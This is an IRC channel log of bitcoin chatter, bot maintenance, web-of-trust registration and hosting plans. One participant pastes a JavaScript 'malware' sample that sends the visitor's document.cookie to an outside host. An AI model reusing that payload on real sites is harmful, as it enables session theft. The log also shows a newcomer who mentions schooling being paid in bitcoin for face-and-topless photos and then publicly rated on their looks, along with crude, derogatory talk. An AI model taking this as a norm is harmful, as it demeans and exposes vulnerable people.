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02:03 deedbot http://www.contravex.com/2017/11/12/bigs-vancouver-house-the-last-pied-a-terre-youll-ever-need/ << Contravex: A blog by Pete Dushenski - BIGs Vancouver House: The last pied--terre youll ever need.
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02:55 BingoBoingo !~ticker --market all
02:55 jhvh1 BingoBoingo: Bitstamp BTCUSD last: 6134.65, vol: 26871.16333225 | Bitfinex BTCUSD last: 6206.9, vol: 134430.16372189 | Kraken BTCUSD last: 5641.3, vol: 11995.3985526 | Volume-weighted last average: 6156.54683296
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07:16 mircea_popescu http://btcbase.org/log/2017-11-11#1736258 << that's principally the doubtful part of all this. "but is it worth bothering, mr wu ???"
07:16 a111 Logged on 2017-11-11 16:05 asciilifeform: http://btcbase.org/log/2017-11-11#1736227 << this kind of picture is really from 'cyberpunk' alt-fyootoor where where is 1e10 people but they all somehow have money and need goodies delivered on rail
07:17 mircea_popescu http://btcbase.org/log/2017-11-11#1736264 << quite so. the whole "you are fucking yourself over" thing MEANS something. it's not an idle "oh noews" from usg.chicklit, "happens" somehow unhappeningly and all is well anyway.
07:17 a111 Logged on 2017-11-11 16:11 asciilifeform: http://btcbase.org/log/2017-11-11#1736245 << not only persia, but more or less everyone who did not ride the mcshitburger train to hell, winning in direct proportion to how much they refrained from riding it.
07:18 mircea_popescu http://btcbase.org/log/2017-11-11#1736273 << we're not lacking entries, we're lacking some exemplars of those putative 1e10 folk.
07:18 a111 Logged on 2017-11-11 16:43 asciilifeform: ( and will perhaps be a good entry for those hypothetical folx who ain't here yet, but ought to be . i have no intention of doing the whole thing myself, esp. not in near term, my hands are quite full )
07:19 mircea_popescu so far it's barely a dozen people, and easily a grosse jobs. not the other fucking way around.
07:19 mircea_popescu principal limitative factor for tmsr gdp growth is... a lack of humans.
07:23 mircea_popescu http://btcbase.org/log/2017-11-11#1736282 << now this is sad.
07:23 a111 Logged on 2017-11-11 18:52 asciilifeform does not currently have even 1 up-to-top trb node !
07:24 mircea_popescu http://btcbase.org/log/2017-11-11#1736308 << sewhere lol.
07:24 a111 Logged on 2017-11-11 20:19 mod6: gotta start somewhere
~ 1 hours 14 minutes ~
08:38 mircea_popescu http://btcbase.org/log/2017-11-11#1736278 << i didn't see anything.
08:38 a111 Logged on 2017-11-11 18:48 BingoBoingo wondering what the weird might be with block 494023
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08:55 davout meanwhile, buttcash has been pumping insanely during the last 24h hours
09:02 mircea_popescu maybe it wins!
09:04 davout my money's on the other side
09:15 davout they apparently have a hardfork scheduled for tomorrow, with the goal of 'fixing' their diff adjustment algorithm, i'm quite curious to see what happens
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09:37 mircea_popescu http://btcbase.org/log/2017-11-11#1736277 << eh nonsense, dood had cyrhosis. died of it.
09:37 a111 Logged on 2017-11-11 18:48 asciilifeform: meanwhile, in bizarre ro crackpotteries, http://www.securitate.org/nicu.htm
09:43 mircea_popescu http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have.
09:43 a111 Logged on 2017-11-12 00:10 BingoBoingo: Prognostication found in the wild: http://www.lessonoflives.com/if-these-tweets-are-legit-the-dnc-is-on-its-last-leg/
09:43 deedbot http://trilema.com/2017/galati-yachting/ << Trilema - Galati Yachting
~ 34 minutes ~
10:18 mircea_popescu !!up wer
10:18 deedbot wer voiced for 30 minutes.
10:19 wer Hello
10:19 mircea_popescu hi
10:19 wer how does this work
10:19 mircea_popescu how does what work ?
10:20 wer i came here from this link http://trilema.com/2014/ill-pay-for-your-tits/
10:20 mircea_popescu ah. write 73421838 on them and post the pic.
10:21 wer i gotta upload it to a link right
10:21 mircea_popescu sure.
10:21 mircea_popescu alternatively can base64 it and put it in p.bvulpes.com i guess
~ 15 minutes ~
10:37 wer https://imgur.com/a/zogMz
10:37 wer this okay?
10:39 mircea_popescu mno, can't see your face.
10:40 wer oh didn't know face was compulsory
10:40 mircea_popescu well otherwise no way to enforce the "once per person"
10:41 mircea_popescu why so shy, anwyay ?
10:41 wer that's true
10:41 wer just scared
10:42 mircea_popescu fear is the mind eater.
10:47 wer i'll go take it again
10:47 wer face and tits yeah?
10:48 mircea_popescu yeah.
10:48 mircea_popescu !!up wer
10:48 deedbot wer voiced for 30 minutes.
10:57 wer https://imgur.com/a/cU6e7
11:04 wer is it okay?
11:06 mircea_popescu lessee here
11:06 mircea_popescu so it is. do you want your bitcents to an address or are you making a deedbot wallet ?
11:08 mircea_popescu wer ^
11:08 wer i've got an address
11:08 mircea_popescu what is it ?
11:09 wer just a moment
11:09 mircea_popescu aite.
11:10 mircea_popescu it is at this juncture we notice that the original "don't have to push it this sat, can do by monday np" comment was... http://btcbase.org/log/2017-10-13#1724778
11:10 a111 Logged on 2017-10-13 01:54 mircea_popescu: trinque don't sweat it, she'll do it when i tell her to, what. tomorrow, monday, whatever.
11:10 mircea_popescu ONE MONTH AGO
11:11 wer -> 1GrvBXDT2XTnQ83yCsTZmqVtnZto223DkB
11:12 mircea_popescu !!withdraw 0.02 1GrvBXDT2XTnQ83yCsTZmqVtnZto223DkB
11:12 deedbot Get your OTP: http://p.bvulpes.com/pastes/HslFX/?raw=true
11:13 mircea_popescu wer you'll have it later today.
11:14 wer anything i have to do to process it?
11:14 mircea_popescu nah.
11:14 mircea_popescu how did you happen on teh article anyway ?
11:15 wer someone on reddit sent it to me months ago
11:15 wer brought it up in a conversation with a friend
11:15 mircea_popescu ah
11:16 mircea_popescu so what do you do, other than reddit and selfies ?
11:17 wer schooling, learning programming
11:17 mircea_popescu hey, pretty cool.
11:18 mircea_popescu the republic is looking for an office girl in mailand china, if you know anyone.
11:18 mircea_popescu mainland*
11:18 mircea_popescu ben_vulpes hey, can candi be back plox ?
11:18 mircea_popescu !!up webbyz
11:18 deedbot webbyz voiced for 30 minutes.
11:18 mircea_popescu !!up wer
11:18 deedbot wer voiced for 30 minutes.
11:23 * trinque admits he forgot about the tits initiative.
11:23 mircea_popescu how could you forget tits!!1
11:25 wer anything else i could do for bitcoin
11:25 mircea_popescu lots, actually.
11:25 mircea_popescu what's learning programming entail ? lisp ? java ? haskell ? php ?
11:26 wer C#
11:26 wer mainly for games
11:26 mircea_popescu o really ?
11:26 mircea_popescu ty ben_vulpes
11:26 mircea_popescu wer so first off, register your pgp key with deedbot to preserve identity. you do have one yes ?
11:27 mircea_popescu and second off, do the foxybot trade module. let me fish out the spec
11:27 mircea_popescu aha, here it is : http://logs.minigame.bz/2017-10-28.log.html#t22:24:51
11:27 lobbesbot Logged on 2017-10-28 22:24:51: <mircea_popescu> lobbes http://trilema.com/2016/eulora-tradebot-spec/ from http://logs.minigame.bz/2016-09-16.log.html#t17:44:03
11:27 mircea_popescu with context too!
11:28 mircea_popescu trinque it is said, as one could observe, that the entire grandiose complexity of nature was entirely built out of... crosspolination!
11:29 ben_vulpes ftr i have nfi what kills the thing
11:29 trinque fact. today's a bot haxing day anyway. other item in the queue is subcriptions
11:30 mircea_popescu ben_vulpes maybe it just needs a manager to restart it periodically if its down :D
11:30 trinque i.e. shinohai registers his irc bouncer service as a subscription on deedbot, folks can subscribe and automatically pay him per interval
11:30 mircea_popescu trinque next you can introduce underdraw fees, be 100% like a cc comp!
11:31 trinque crash looping, also natural!
11:31 mircea_popescu "sorry sir, your 4 cent subscription to Fishing Today is causing your account with us go into the red every month, at a cost of 70 dollars each."
11:31 ben_vulpes mircea_popescu: :P
11:31 trinque I figured I'd just ping shinohai to turn the person's shit off until new deposit
11:32 mircea_popescu you're building an api around this then ?
11:32 trinque aha
11:32 ben_vulpes mircea_popescu: bot thinks its up, nothing shows in logs, uses precisely same stack i have running elsewhere
11:32 mircea_popescu as long as well isolated, you know.
11:32 mircea_popescu ben_vulpes may well be freenode dubiousness.
11:33 ben_vulpes possible, but candi's the only node so affected
11:34 mircea_popescu in other news, just added the 40th trilema header. i suspect trilema is now the site with the greatest header biodiversity in the history of the internets.
11:35 mircea_popescu !!up candi_lustt
11:35 deedbot candi_lustt voiced for 30 minutes.
11:36 mircea_popescu candi_lustt (^ (/ 39 40) 365)
11:36 mircea_popescu tsk.
11:36 ben_vulpes how did this work
11:36 mircea_popescu !~calc ((39/40) ** 365)
11:36 jhvh1 mircea_popescu: ((39/40) ** 365) = 9.698056947029741E-5
11:37 mircea_popescu 0.1% chances to miss one if person visits daily for a year. not so terribru.
11:37 mircea_popescu candi_lustt (+ 2 2)
11:37 mircea_popescu candi_lustt: (+ 2 2)
11:38 mircea_popescu hm.
11:38 mircea_popescu candi_lustt: (mpfhf:mpfhf #*1111 4)
11:39 mircea_popescu ben_vulpes methinks her mouth is full.
11:39 ben_vulpes yeah i'm looking into it
11:43 mircea_popescu !!up rog
11:43 deedbot rog voiced for 30 minutes.
11:46 rog hello
11:46 mircea_popescu hi
11:47 mircea_popescu sup rog ?
11:47 * ben_vulpes baffled by the sudden breakage
11:48 rog i was reading thru and found this channel, care to explain a little more about it please?
11:48 mircea_popescu well, reading through what ? #trilema is the forum of the most serene republic, a terrorist organisation dedicated to the dissolution of all fiat sovereigns and the permanent barring of such nonsense in the future.
11:50 mircea_popescu !!up wer
11:50 deedbot wer voiced for 30 minutes.
11:50 mircea_popescu wer i take it you don't have a pgp key ?
11:50 wer i don't think i do no
11:51 mircea_popescu are you on windows or linux ?
11:51 rog yes read it in trilema, i was browsing thru sites doing some research
11:51 wer windoes
11:51 wer windows*
11:51 mircea_popescu wer not such a great situation ; but... kleopatra will make you one, such as it is.
11:51 rog yes no pgp used the web solution
11:51 mircea_popescu it's important to have a rsa key as it's the standard of identity these days.
11:52 mircea_popescu sorta like it was important to have a passport in 1917.
11:52 rog got it
11:52 rog how do i connect thru windows then with a pgp?
11:53 mircea_popescu rog i was talking to her ; connecting is a different matter, you need an irc client. such as possibly mirc ? xchat ? i'm not sure what else is on windows.
11:53 mircea_popescu a pgp key is something like
11:53 wer what do i do after downloading the software
11:53 ben_vulpes !W (mpfhf::mpfhf #*1111 4)
11:53 mircea_popescu !!key mircea_popescu
11:53 deedbot http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.asc
11:54 ben_vulpes !!up candi_lustt
11:54 deedbot candi_lustt voiced for 30 minutes.
11:54 mircea_popescu ^ that is my key. and because ~everyone knows it, that same ~everyone can tell whether it's me talking or some impostor.
11:54 ben_vulpes !W (mpfhf::mpfhf #*1111 4)
11:54 candi_lustt ben_vulpes: #*1111 (more: http://p.bvulpes.com/pastes/ROX2a/?raw=true )
11:54 mircea_popescu aha!
11:54 mircea_popescu !W (+ 2 2)
11:54 candi_lustt mircea_popescu: 4
11:55 mircea_popescu !W (^ (/ 39 40) 30)
11:55 candi_lustt mircea_popescu: error, see: http://p.bvulpes.com/pastes/syxR6/?raw=true
11:55 mircea_popescu heh
11:55 mircea_popescu !W (exp (/ 39 40) 30)
11:55 candi_lustt mircea_popescu: error, see: http://p.bvulpes.com/pastes/m8O1l/?raw=true
11:56 mircea_popescu i find it always pays to come up with counterintuitive syntax!
11:57 ben_vulpes you want expt
11:57 mircea_popescu yes pls.
11:57 ben_vulpes http://clhs.lisp.se/Body/f_exp_e.htm
11:57 mircea_popescu !W (expt (/ 39 40) 30)
11:57 candi_lustt mircea_popescu: 539433869154135747306270525845277238187683254801/1152921504606846976000000000000000000000000000000
11:57 mircea_popescu candi_lustt kicks ass.
11:58 mircea_popescu welcum back bish! i say.
11:58 ben_vulpes heh
11:59 rog how do i connect to this chatroom from mirc?
11:59 rog any idea?
11:59 mircea_popescu rog freenode (irc.freenode.net) port port 8001 then join channel #trilema
12:00 mircea_popescu may also want to register that name, seeing how it's a short and suprirsingly not already taken nick.
12:00 wer i've got the pgp keys
12:01 mircea_popescu wer put the pubkey in p.bvulpes.com then say !!register <url> to deedbot.
12:01 mircea_popescu !!help
12:01 deedbot http://deedbot.org/help.html
12:02 wer !!register http://p.bvulpes.com/pastes/PmhDl/?raw=true
12:02 deedbot Import failed for http://p.bvulpes.com/pastes/PmhDl/?raw=true.
12:02 mircea_popescu wer include the tags. http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.asc << model.
12:03 rog how do i register it?
12:03 wer http://p.bvulpes.com/pastes/cMim8/?raw=true
12:03 wer whoops
12:03 mircea_popescu !~google register a freenode nick
12:03 wer !!register http://p.bvulpes.com/pastes/cMim8/?raw=true
12:03 jhvh1 mircea_popescu: How to Register a Nickname on Freenode : 7 Steps (with Pictures): <https://www.wikihow.com/Register-a-Nickname-on-Freenode>; How to Register a Nickname on Freenode : 7 Steps (with Pictures): <https://www.wikihow.com/Register-a-Nickname-on-Freenode>; Here'e an example of how to register a nickname on Freenode IRC ...: <https://gist.github.com/micahw156/7417885>
12:03 deedbot CB79C616915A4F8AEA51B5D0525A5ED497C8B05D registered as wer.
12:03 mircea_popescu rog ^
12:04 mircea_popescu wer now take good care of it, if you manage to lose it nobody will believe "i am really wer". well, except in your case we know what you look like, so there's that, but in general speaking...
12:04 mircea_popescu !!rate wer 1 azn hottie / c# student
12:04 deedbot Get your OTP: http://p.bvulpes.com/pastes/wRSSm/?raw=true
12:05 wer so what do i do with the string
12:05 mircea_popescu wer say !!v string
12:05 wer !!v string
12:05 mircea_popescu lol
12:05 wer was that supposed to do something
12:05 mircea_popescu wer say !!v <string>. metasyntactically string
12:05 wer !!v CB79C616915A4F8AEA51B5D0525A5ED497C8B05D
12:05 wer *facepalm
12:06 mircea_popescu !!v 4C3607C06CF5569C420384C36F7A07C2F0BFCD0C28B123CB25093BC742195CB8
12:06 deedbot mircea_popescu rated wer 1 << azn hottie / c# student
12:06 mircea_popescu wer you can now self-voice, so i don't have to up you every half hour. say !!up to deedbot (in private message). it will give you something to decrypt. you decrypt it, then say !!v <string> and you're voiced.
12:07 mircea_popescu !!key wer
12:07 deedbot http://wot.deedbot.org/CB79C616915A4F8AEA51B5D0525A5ED497C8B05D.asc
12:07 mircea_popescu and otherwise, whenever someone needs your key they can just ask it.
12:09 wer nice
12:09 mircea_popescu later on you'll also show up in the wot, like http://wot.deedbot.org/CB79C616915A4F8AEA51B5D0525A5ED497C8B05D.html
12:10 mircea_popescu iirc they're only collated once an hour or such
12:10 wer what's it for
12:10 mircea_popescu well, do you know what the web of trust is ?
12:10 mircea_popescu here, http://trilema.com/2014/what-the-wot-is-for-how-it-works-and-how-to-use-it/
12:12 mircea_popescu !!up rog_
12:12 deedbot rog_ voiced for 30 minutes.
12:13 wer what's !!rate
12:14 wer !!rate
12:14 mircea_popescu !!help
12:14 deedbot http://deedbot.org/help.html
12:14 mircea_popescu see in there.
12:14 mircea_popescu !!up rog
12:14 deedbot rog voiced for 30 minutes.
12:16 mircea_popescu !!reputation candi_lustt
12:16 deedbot http://p.bvulpes.com/pastes/CJmXM/?raw=true
12:16 mircea_popescu there's a bunch of reputation management commands, deedbot being the wot registrar of record.
12:18 asciilifeform http://btcbase.org/log/2017-11-12#1736643 << nil ?!
12:18 a111 Logged on 2017-11-12 17:16 mircea_popescu: !!reputation candi_lustt
12:18 mircea_popescu apparently nobody bothered.
12:19 mircea_popescu !!reputation asciilifeform
12:19 deedbot http://p.bvulpes.com/pastes/ODyFK/?raw=true
12:19 asciilifeform !#s !!rate candi_lustt
12:19 a111 0 results for "!!rate candi_lustt", http://btcbase.org/log-search?q=!!rate%20candi_lustt
12:19 asciilifeform hm tru
12:19 mircea_popescu surprising, right ? but hey.
12:19 mircea_popescu !!up hi
12:19 deedbot hi voiced for 30 minutes.
12:20 mircea_popescu holy hell how do they manage to find all these 2 and 3 letter nicks that aren't reg'd/enforced ?!
12:20 asciilifeform !!rate candi_lustt 1 robot lives to serve
12:20 deedbot candi_lustt is not registered in WoT.
12:20 asciilifeform umm
12:20 mircea_popescu wer voice yourself so we see all this works.
12:21 mircea_popescu !~seen spyked
12:21 jhvh1 mircea_popescu: spyked was last seen in #trilema 4 weeks, 6 days, 2 hours, 1 minute, and 53 seconds ago: <spyked> yeh, this was re. scabs
12:21 mircea_popescu i wonder what became of him.
12:21 asciilifeform wasn't he a maths d00d in ro somewhere
12:21 mircea_popescu aha
12:22 mircea_popescu anyways, ima bbl.
12:22 * asciilifeform read mircea_popescu's latest piece, now wishes to cook and eat an iguana
12:23 * asciilifeform also bbl
12:26 wer hello again
~ 18 minutes ~
12:44 asciilifeform http://btcbase.org/log/2017-11-12#1736604 << notorious javaturd pgptron btw
12:44 a111 Logged on 2017-11-12 17:03 wer: http://p.bvulpes.com/pastes/cMim8/?raw=true
12:44 asciilifeform ( 'BCPG' )
12:48 lobbes speaking of javaturds, my current status on my archive-o-tron: turns out archive.is uses 'cloudflare ddos' protection for their .zip download links. Currently trying to hack my way around that
12:48 asciilifeform lobbes: not only does it, but was dinged by the 'random page of ram' thing last yr
12:48 asciilifeform i still have some afflicted zips ( that for some reason unzipped ok on various folx' boxen, but none of mine )
12:50 asciilifeform ( http://btcbase.org/log/2016-07-21#1508421 thread )
12:50 a111 Logged on 2016-07-21 22:13 asciilifeform: i get a 128k binary turd.
12:52 lobbes nice.. I'm halfway considering if it'd be actually worth it to just try and make my own archiver at this point
12:52 asciilifeform ( i'm satisfied that the riddle was solved when it was discovered , much later, that crapflare serves up random pgs of buffer ram in some % of requests )
12:54 asciilifeform lobbes: there was recently a thread, re how to do it
12:57 lobbes interesting. I may do some log-spelunking later on that
13:01 mircea_popescu lobbes dun think you're not still supposed to make teh market bot btw. i'm... building redundancy :)
13:01 mircea_popescu hi again wer
13:02 mircea_popescu asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ?
13:02 mircea_popescu !!up rog66
13:02 deedbot rog66 voiced for 30 minutes.
13:04 mircea_popescu lobbes it may be worth your time to get in touch with the guy and explain what you're trying to do. prolly set you up with something if not turn off shitflare altogether.
13:06 mircea_popescu asciilifeform ftr, iguana is eaten by teh natives, all through south america. kinda like frog i guess.
13:07 mircea_popescu anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang.
13:07 mircea_popescu 30 foot moar like 20 btc at that.
13:08 mircea_popescu what was orlol's riverboat, 20ft ?
13:13 lobbes mircea_popescu, that is a good point. Aite, I'll send that guy an email tonight. Worth a shot
13:13 * lobbes bbl, meat
13:13 mircea_popescu was rather accomodating when i ended up stealing his js to make trilema give selection urls.
13:15 mircea_popescu !!up mobile46836
13:15 deedbot mobile46836 voiced for 30 minutes.
13:21 asciilifeform http://btcbase.org/log/2017-11-12#1736690 << lol 50 btc prolly buys whole street in timis
13:21 a111 Logged on 2017-11-12 18:07 mircea_popescu: anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang.
13:23 asciilifeform http://btcbase.org/log/2017-11-12#1736685 << i still have the artifacts, if anybody can be arsed .
13:23 a111 Logged on 2017-11-12 18:02 mircea_popescu: asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ?
13:24 asciilifeform http://btcbase.org/log/2017-11-12#1736692 << something like that ( tho not river-, had a keel )
13:24 a111 Logged on 2017-11-12 18:08 mircea_popescu: what was orlol's riverboat, 20ft ?
13:24 asciilifeform the crackpot design thing he's doing nowadays, is moar like riverboat.
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13:51 ag3nt_zer0 anyone here a fan of Link Wray? I just discovered the guy and it sounds pretty awesome to me... gutter surf 50s rockabilly grunge on acid https://www.youtube.com/watch?v=N1HHHNhB9UU
13:52 ag3nt_zer0 and then there is this other dude someone called "modern day link wray", Jimmy Pinch, also quite cool... enjoy :) https://www.youtube.com/watch?v=AYDXMFMDrlc&index=3&list=PLJtMuhVlIYd5wpCgQCNkin_KEaYBjzvrD
~ 20 minutes ~
14:12 mircea_popescu ah i must've confused them
~ 28 minutes ~
14:40 pete_dushenski http://btcbase.org/log/2017-11-09#1734838 << tempting but my square footage is somewhat limited in present abode. maybe if i snag second one in vancouver hehe. we'll see.
14:40 a111 Logged on 2017-11-09 00:48 BingoBoingo: !~later tell pete_dushenski http://btcbase.org/log/2017-11-09#1734821 << You want in on the alf firesale?
14:41 * pete_dushenski is finally back in the saddle after a whirlwind tour of the four corners of his home "country"
14:42 asciilifeform lol i can't resist asking, which item(s) tempt pete_dushenski
14:43 pete_dushenski encyclopediae
14:44 pete_dushenski but with "railcar" of goodies, surely there's something for everyone
14:45 asciilifeform most of it not worth cost of transport
14:46 asciilifeform ( the , dunno, 50, cubometres of dead tree, say )
14:46 pete_dushenski did asciilifeform have a list of railcar contents posted on blog yet ? you never know what's worth or not worth shipping...
14:47 asciilifeform listed most of what's worth talking about, in the log.
14:48 pete_dushenski link to list of dead tree cubometres ? musta missed it
14:48 asciilifeform ah no that's not done yet
14:48 pete_dushenski aite
14:48 asciilifeform prolly the 1 item that might interest people is the full set of bolix docs
14:49 asciilifeform ( occupies whole shelf )
14:49 pete_dushenski why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything
14:51 asciilifeform because wtf, it isn't worth ~my~ time to catalogue every old toaster in the kitchen, and everypiece of dead tree rubbish that one could get for fiddycents from 'bookfinder' etc
14:51 asciilifeform uniques/rarities strictly.
14:53 asciilifeform at any rate, can't say that it's a very urgent thing -- prolly >1yr to launch day, for asciilifeform
14:54 pete_dushenski ya not saying don't prioritise, just hard to imagine that you have only bolix and encyclopediae that qualify as "uniques/rarities". you're like a walking library and nihil fit ex nihilo. in my mind your library looks like http://images.mentalfloss.com/blogs/wp-content/uploads/2012/05/6551303327_bb9ac1f5d6_z-565x376.jpg
14:54 asciilifeform lol!!
14:54 pete_dushenski (pic is from mega-spectacular libray in rio de janeiro, highly recommended)
14:54 pete_dushenski library*
14:55 BingoBoingo http://btcbase.org/log/2017-11-12#1736437 << They can't handle the truth
14:55 a111 Logged on 2017-11-12 14:43 mircea_popescu: http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have.
14:56 phf pete_dushenski: that's a common misconception, i suspect asciilifeform's library consists of like 200-300 books, that are heavily annotated, because other books, while really nice to have, is a pain in the ass to manage, so you just cull to the current essentials and somehow source whatever's missing later.
14:56 asciilifeform BingoBoingo: orig link is quite nonsensical tho : ru is ~exporter~ not importer of fissiles
14:57 asciilifeform phf: i annotate in my head
14:57 BingoBoingo asciilifeform: RU is a wholeseller.
14:58 asciilifeform and it's considerably larger but also low snr
14:58 asciilifeform the 300 figure is closer to what i aim for in the launch capsule.
14:58 pete_dushenski phf: i can see that. also, asciilifeform likely has a crate with spinning rust hdd's containing a vault's worth of digital tomes.
14:59 pete_dushenski probably petabytes of txt and scanned wares
14:59 asciilifeform pretty sure i retired the last rust hdd...
14:59 BingoBoingo pete_dushenski: Anyways, looking for new boxes for Contravex, etc
14:59 asciilifeform but somewhere yea
14:59 trinque asciilifeform: take a picture of the book spines before selling, for teh uneducated youf
14:59 asciilifeform at some point , oughta
15:00 pete_dushenski BingoBoingo: hm ?
15:00 BingoBoingo pete_dushenski: You know alf and myself venturing out and making ISPs. If you have wants now would be a good time to submit them and start negotiating.
15:01 asciilifeform oh hey BingoBoingo , got a rack yet ?
15:02 BingoBoingo asciilifeform: Gotta good quote in a hospitable venue. This weeks project is rolling the company ball.
15:03 pete_dushenski BingoBoingo: i have very modest blog hosting needs at this point
15:04 BingoBoingo Modest can be done
15:04 pete_dushenski cool
15:05 * BingoBoingo assembling shopping list.
15:06 pete_dushenski in other shopping oddities, http://www.chinadaily.com.cn/china/2017-09/29/content_32627471_2.htm (hairy crab vending machine!)
15:09 * BingoBoingo considering quad core AMD A8-5545 blade server offering, listing as "Modest Blade"
15:10 trinque thoughts on a rate?
15:11 BingoBoingo trinque: Rate determination requires figuring out my cost basis.
15:11 pete_dushenski awww bch back down to 0.2 after hitting 0.35 last night. but who has any left ? hmm...
15:22 pete_dushenski and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html
15:24 * pete_dushenski al gymnasio
15:27 mircea_popescu iwonder if phf's theory is correcty
15:27 BingoBoingo trinque: Thoughts on a box?
15:28 mircea_popescu irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me
15:28 mircea_popescu (in theory it's "for everyone", but in practice you're lucky if you get 1 user per mn books. cuz wtf do people want with them.)
15:29 deedbot mircea_popescu: http://p.bvulpes.com/pastes/5i3vp/?raw=true
15:29 mircea_popescu but then again, humanities book needs > technical.
15:37 trinque BingoBoingo: got a link to that blade you were talking about?
15:39 BingoBoingo trinque: Blade would be built around BIOSTAR A68N-5545 shoved into "Build a Blade" enclosure linked earler. Some assembly required, but not experimental hardware at the ranch.
15:39 BingoBoingo *alf ranch
15:40 trinque might blade, might rack 1u, depending on what's on offer
15:40 * trinque will review logs to not duplicate details
15:41 trinque mmm don't see it
15:43 BingoBoingo trinque: Racking 1u will give more freedom to spec box, get ECC RAM
15:45 BingoBoingo Could also do humble blade around PC Engines APU board. Idea is minimal viable machine for lord of aspiring lordling to make home while possessing root login.
15:46 trinque what of shipping own box in?
15:47 BingoBoingo That is doable. Still gotta rent space, heat handling, and access to net
15:48 trinque obviously gotta pay for spot
15:48 BingoBoingo Datacenter is close to beaches, so vacation drop off is also option
15:50 lobbes http://btcbase.org/log/2017-11-12#1736751 << I'd be interested in possibly renting some hosting as a VPS type of arrangement. My projects are low-overhead as well, though. currently, I only pay ~$10USD per month for the two VPSes I rent
15:50 a111 Logged on 2017-11-12 20:04 BingoBoingo: Modest can be done
16:05 BingoBoingo lobbes: A box for VPS is very probable, that price point is probably not happening. Then again, this will be a week of much math. On the other hand, wouldn't it be nice to have root?
16:07 BingoBoingo trinque: The build a blade thing: http://www.buildablade.com/bb-itx96.htm
16:08 BingoBoingo Including power distribution 7U of rackspace for 9 machines
16:13 BingoBoingo Having one booked up and in luggage would be helpful to ISP cause.
16:19 mircea_popescu http://btcbase.org/log/2017-11-12#1736723 << he has a point, at that.
16:19 a111 Logged on 2017-11-12 19:49 pete_dushenski: why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything
16:21 mircea_popescu http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays...
16:21 a111 Logged on 2017-11-12 19:56 asciilifeform: BingoBoingo: orig link is quite nonsensical tho : ru is ~exporter~ not importer of fissiles
16:22 mircea_popescu http://btcbase.org/log/2017-11-12#1736744 << this is a cheap and effectual way to "catalogue for sale". just panorama the spines.
16:22 a111 Logged on 2017-11-12 19:59 trinque: asciilifeform: take a picture of the book spines before selling, for teh uneducated youf
16:33 BingoBoingo In other reading, it looks like Trump's successor could be Pol Pot https://identitydixie.com/2017/11/11/the-tennessee-statement-a-southern-nationalist-manifesto/
16:34 mircea_popescu lel
16:34 mircea_popescu in even other alt-lulz, etc looks set to surpass eth. teh butty-hurty!
16:36 BingoBoingo This is bullish for Preperation-H coin
16:36 mircea_popescu is that the cure for herpes ?
16:37 BingoBoingo Nah, hemmorhoids
16:37 BingoBoingo Herpes is valtrex
16:48 mircea_popescu diana_coman wanna gimme odds on wer making a working foxybot module ?
16:48 diana_coman what's a working foxybot module?
16:53 mircea_popescu well, the market bot.
16:59 davout http://btcbase.org/log/2017-11-12#1736758 <<< good question
16:59 a111 Logged on 2017-11-12 20:11 pete_dushenski: awww bch back down to 0.2 after hitting 0.35 last night. but who has any left ? hmm...
17:00 diana_coman quite high I'd say; dunno if it's odds or simply wishful thinking on my side though
17:00 mircea_popescu a really ?
17:01 mircea_popescu and in the latest "malware" seen in the wild, function go(){open(document.forms[6].action,MyWin);document.getElementById('pop').style.display='none';document.location.href='http://baikalqx.beget.tech/test/?t=popad4&coco='+document.cookie;}
17:03 mircea_popescu davout evidently, whosoever got it back to 2 neh.
~ 47 minutes ~
17:50 lobbes BingoBoingo, I actually do have root on the VPSen I currently wield, but it would be nice to have my stuff on a box owned by someone I trust. Anyways, I'll keep my eyez to the logs as maths unfold
17:55 asciilifeform http://btcbase.org/log/2017-11-12#1736787 << ah hm iirc nao su did not stash u, it stashed pu -- and most of it 'sold' to usg in '90s for pennies
17:55 a111 Logged on 2017-11-12 21:21 mircea_popescu: http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays...
17:56 asciilifeform ( who mines u today ? and, gotta wonder, how -- i can't picture it outside of butugychag-style 'fat-powered' op )
17:58 asciilifeform http://btcbase.org/log/2017-11-12#1736763 << at one time asciilifeform also naively thought 'u of md keeps 1mil b00ks for me!11' -- even paid a subscription fee. which then went up, and max b00k loan time went from 6mo to 3mo to 1mo... and went up again.. and the most recent insult, they abolished 80% of the contents of the library floor asciilifeform frequented
17:58 a111 Logged on 2017-11-12 20:28 mircea_popescu: irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me
17:58 asciilifeform ( where they went ? unknown, prolly burned )
17:58 asciilifeform made room for 'admin offices'
17:59 asciilifeform ohai spyked
17:59 asciilifeform wb
18:00 spyked hi! sorry for the radio silence. I've been working myself out of various irl swamps lately (still in progress). following in read-only mode though.
18:02 * spyked missed quite a lot while in read-only mode. glad to hear you enjoyed bucharest, asciilifeform. unexpected also. fortunately you didn't see it on weekdays.
18:03 asciilifeform i did see it on weekday lol
18:03 asciilifeform enjoyed timis far moar ftr.
18:04 asciilifeform ( where, e.g., sidewalks can be walked on, rather than used as ad hoc orc parking lot )
18:04 spyked I was firmly convinced your verdict would be "~shithole" (at least mircea_popescu's was some years ago).
18:05 asciilifeform bucharest ?
18:05 spyked yes
18:05 asciilifeform it's still a notch or two ahead of, e.g., chicago
